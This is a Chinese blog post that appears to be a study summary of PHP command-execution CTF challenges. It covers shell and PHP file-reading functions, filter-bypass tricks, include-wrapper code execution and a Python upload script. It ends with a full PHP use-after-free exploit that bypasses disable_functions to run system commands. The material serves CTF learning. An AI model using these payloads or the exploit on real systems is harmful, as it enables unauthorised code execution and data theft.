命令执行

一、什么是命令执行?

​ 命令执行漏洞指的是网站的应用程序有些需要调用执行系统命令,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

​ 命令执行,执行的有两种命令,一种是搭建网站的Linux系统命令,一个是php自身的函数

​ 对于一道与命令执行相关的题目,重要的是找到什么函数/命令可以用,怎么用,用来干什么。

​ 接下来会详细归纳一下怎么做命令执行的题目


二、可用函数/命令与绕过手法

​ flag以文件的形式藏在网页目录中,我们需要

​ **1.**找到flag文件的位置

​ **2.**读取它

在php中可以执行Linux命令的常见函数有:

​ system()、passthru()、exec()、shell_exec()、pcntl_exec()、popen()、proc_open()

在php中可以执行代码的常见函数有:

​ eval()、assert()、preg_replace()、$

​ 当一道题目中出现了eval()等函数之后,我们便可以控制eval()函数的参数,从而让网站执行我们想要执行的命令。

​ 前面说了,我们需要找到flag文件的位置,需要读取它。所以,我们还需要一些Linux命令和php函数。


可读取目录的命令/函数

​ ls (一般也只用ls)

​ ll:是 ls -l 的缩写,可以显示文件的详细信息,包括权限、所有者、大小、时间戳 等。

​ la:是 ls -a 的缩写,可以显示所有文件,包括隐藏文件。

​ tree:可以以树形结构显示目录和文件,更加直观。

​ dir

​ echo /* : 可以读目录的(根目录)

​ exa:是一个比 ls 更加现代化的替代品,支持彩色输出、Git 状态标记、更好的排序 和过滤等功能。

​ vdir:和 ls 类似,但是可以按照文件修改时间进行排序。

​ lsd:只显示目录,不显示文件,适合查看目录结构。

​ print_r(glob("")); // 读取当前目录 ​ print_r(glob("/")); // 列根目录 ​ var_dump(scandir(chr(47))) 等同于 system(“ls /”) // (空格,引号被过滤的话,可以替代) ​ print_r(scandir(’.’)); // 访问当前目录 ​ print_r(scandir("/")); //打印一下根目录

​ $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} ​ $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} ​ $a=glob("/");foreach($a as $value){echo $value." “;} ​ $a=new DirectoryIterator(‘glob:///’);foreach($a as $f){echo($f->__toString().” “);}(根目录)


可读取文件的命令/函数

​ cat: 读取文件内容

​ sort: 可以读取文件内容

​ less:可以分页显示文件内容,并且支持上下翻页、搜索等操作,适合查看较长的文件 内容。

​ more:和 less 类似,也可以分页显示文件内容,但是功能比 less 简单。

​ head:可以显示文件的前几行,默认显示前 10 行。

​ tail:可以显示文件的后几行,默认显示后 10 行。

​ nl:可以显示文件的行号,并且可以自定义行号的格式。

​ grep:可以在文件中查找指定的字符串,支持正则表达式,适合查找特定内容。

​ awk:可以对文件进行逐行处理和分析,支持多种操作和模式匹配。

​ tac:和 cat 相反,可以倒序显示文件的内容。

​ paste:可以将多个文件按列合并,适合处理数据表格。

​ sed:可以对文件进行逐行处理和替换,支持正则表达式,适合批量修改文本。

​ 1tr:可以对文件中的字符进行替换和删除等操作,适合批量修改字符集。

​ hexdump:可以以十六进制的形式显示文件的 内容,并且可以查看文件的二进制格式。

​ od:可以以八进制或十六进制的形式显示文件的内容,并且可以查看文件的二进制格 式。

​ pr:可以将文件进行格式化和分页处理,适合打印或排版文本。

​ fold:可以将长行文本进行折行处理,便于查看和编辑。

​ highlight_file();

​ show_source();

​ file_get_contents();

​ readfile();

​ include($filename);

​ include_once($filename);

​ require($filename);

​ require_once($filename);


绕过手法

​ 命令执行,需要严格的过滤,这类题目里会用preg_match()函数正则匹配实现过滤

如果把你需要用到命令/函数/flag给过滤了该怎么办呢

​ 1.可以换个函数用(bushi)

​ 2.使用传说中的绕过手法

通配符绕过

题目把flag过滤了怎么办,无法读取flag,那么可以用通配符匹配绕过

​ flag

​ cat flag

​ cat f???

​ cat f* 用”[!]“来替换通配符”?"

​ “[!q]“表示匹配非q的字符

​ *: 表示匹配一个或多个

​ 也用 [^x] 的方法来表示 “这个位置不是字符x”

​ 可见大写字母位于 @ 与 [ 之间, 可以利用 [@-[] 来表示大写字母

关键词拼接

tac等读取命令被ban了怎么办?可以用关键词拼接

​ \ : 比如ls 被过滤了, 可以使用 l\s 执行命令

​ "” 或者 ’ ’ : 同理: l’’s 和 l"“s

​ $@ : 同理 l$@s

空格绕过

空格都要ban,真是crazy

​ %20 :空格url编码

​ %0d:回车的url

​ %0a:换行的url

​ %09 :Tab 的url

​ <

​ <>

​ ${IFS}

​ $IFS$1

后续代码绕过

构造的pyload后面加一个exit();

过滤掉eval()后面的会影响回响的代码。

(详情可见web71ctfshow_web67-77_命令执行-CSDN博客


三、特殊手法

以上这些知识点可以解决很多题目了,接下来是一些特殊手法

文件包含

准确来说,文件包含并不属于命令执行的范畴,不过ctfshow命令执行里出现了需要文件包含的题目,这里就一起带过了

文件包含函数漏洞

(偷个懒,把我之前写的复制粘贴一下QAQ)

​ 1.require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。

​ 2.include(),找不到被包含的文件时只会产生警告,脚本将继续运行

​ 3.highlight_file()

这里简单来说就是遇到require()函数和include()函数时,可能会触发文件包含的漏洞,具体通过一些伪协议进行包含

文件包含伪协议

​ file:// [文件的绝对路径和文件名] ​ php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了 ​ php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

​ zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行 ​ data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

​ data://text/plain/,

(详情可见)


无参数rce

​ 当过滤几乎把所有标点符号都ban了但是没过滤()的时候,就涉及到无参数rce

​ (同样偷个懒,复制粘贴一下)

​ print_r(scandir()) 查看当前目录下的所有文件名

​ current() 数返回数组中的当前元素(单元),默认取第一个值可以代替pos();

​ localeconv() 函数返回一包含本地数字及货币格式信息的数组(其实结果就是 . 是为了上面查看当前目录的)

​ 也可以用getcwd() 返回当前工作目录(代替pos(localeconv());)

所以print_r(scandir(current(localeconv())));//print_r(scandir(getcwd()));就是查看当前目录

怎么读取呢?

​ array_reverse()顾名思义,数组倒置。

​ next() 将数组中的内部指针向前移动一位(这里倒置之后移动就正好是flag.php的位置)

​ show_source() 展示源码

​ 然后通过指针的移动展示flag所在文件的源码

(详情见web40ctfshow40-55 命令执行-CSDN博客


mv改名/grep

.php文件在网页中通常是不显示的。

有些题目读取了flag.php之后可以得到flag是因为flag.php中有输出flag的代码

那么如果读取flag.php之后没有显示出flag该怎么办呢

1.可以用grep命令在flag.php中读取

2.通过mv改名,把.php文件改名伪.txt文件

grep flag flag.php(在flag.php中匹配有flag的字符串并输出)

mv flag.php a.txt

(详情见web54ctfshow40-55 命令执行-CSDN博客


Ascii码替代字母

首先,在终端中,$'\xxx'可以将八进制ascii码解析为字符

在题目中ban了所有字母时,就可以用这个方式来执行命令

例:$%27\154\163%27

%27是 '

154八进制转换为十进制转化为Ascii码为l

163是s

所以这个命令就是 ls


炫技1.0

偷个懒,截一下之前的图

img点击并拖拽以移动编辑

​ 这里再给个原码

1
2
3
4
5
6
import requests

url = "http://7ddc2667-c299-4a6f-824d-29746a045d38.challenge.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
    print(r.text)

点击并拖拽以移动


炫技2.0

当网站目录被open_basedir和disable_function限制了,也就是无法打开open_basedir锁定树之外的文件也无法用disable_function函数ban掉的函数时

可以用开源脚本进行绕过(原理我也不懂)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
 
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { 
 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
 
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
 
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
 
    ($helper->b)($cmd);
    exit();
}
 
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

点击并拖拽以移动

发包后记得url编码一下

四、小结

​ 命令执行到这就差不多了,特殊手法虽然没有完全归纳,不过大致的解题思路和绕过手法都有提到,希望大家能从中学到东西。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计